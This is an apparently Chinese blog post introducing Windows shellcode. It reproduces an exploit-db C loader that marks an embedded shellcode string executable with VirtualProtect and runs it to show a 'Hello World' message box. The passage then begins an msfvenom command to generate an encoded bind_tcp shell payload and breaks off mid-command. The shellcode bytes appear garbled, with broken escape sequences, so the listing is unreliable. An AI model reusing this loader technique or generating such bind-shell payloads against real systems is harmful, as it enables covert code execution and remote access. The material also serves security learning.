发布日期:2021-02-10 11:57:14
游览量:16
作者:谷尼软件
其实shellcode的这篇的灵感也是在与和车王两人的沟通,在他的带领下 也是才知道https://www.exploit-db.com/?原来也有shellcode的一篇新的视角,也是在第二天的时间,也是偷偷的趁着上班的空余时间 研究了一下,上帝第一视角。也是蛮有意思的事情。在shellcode中包含了很多平台的shellcode。
当我无意间浏览到某篇文章后,已经吸引了我的注意力了?https://www.exploit-db.com/exploits/37758/
# include <stdlib.h>
# include <stdio.h>
# include <string.h>
# include <windows.h>
int
main(void)
{
char *shellcode = "3dI0I"
"IYA "
"x3um"
"\x8bmxE "
"3ҋ4B"
"\x47etPu~"
"rocAuu$"
"fVu"
"t3Wh"
"aryAhLibrh"
"LoadTS3"
"Wf32Qhuse"
"rTWhoxA"
"L$hageBh"
"MessTPWh"
"rld!ho Woh"
"HellWWQW"
"WhessL"
"$hProchEx"
"itTSW";
DWORD why_must_this_variable;
BOOL ret = VirtualProtect (shellcode, strlen(shellcode),
PAGE_EXECUTE_READWRITE, &why_must_this_variable);
if (!ret) {
printf ("VirtualProtect ");
return EXIT_FAILURE;
}
printf("strlen(shellcode)=%d ", strlen(shellcode));
((void (*)(void))shellcode)();
return EXIT_SUCCESS;
}
我们来手动的进行编译一下看看具体的效果如何 是不是和他说的一样 会弹框 (hello word)
可以看到弹窗的内容是helloword ,也可以看到代码中并无helloword的字符串以及MessageBox 的调用,也就是相关重点的代码就在于shellcode的硬编码。
那么这就让我想到了msfvenom的shellcode代码 ,由msfvenom生成的恶意的shellcode的。也就是以c生成shellcode硬编码。相关如何的msfvenom
也可以在https://github.com/demonsec666/secist_script?中找到我之前录制的msf课程中的第五课 也有提到过msfvenom的教程 ,亦可以查看官方文档https://www.offensive-security.com/metasploit-unleashed/msfvenom/
本篇就以/www.offensive-security.com 中的msfvenom 教程为例
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '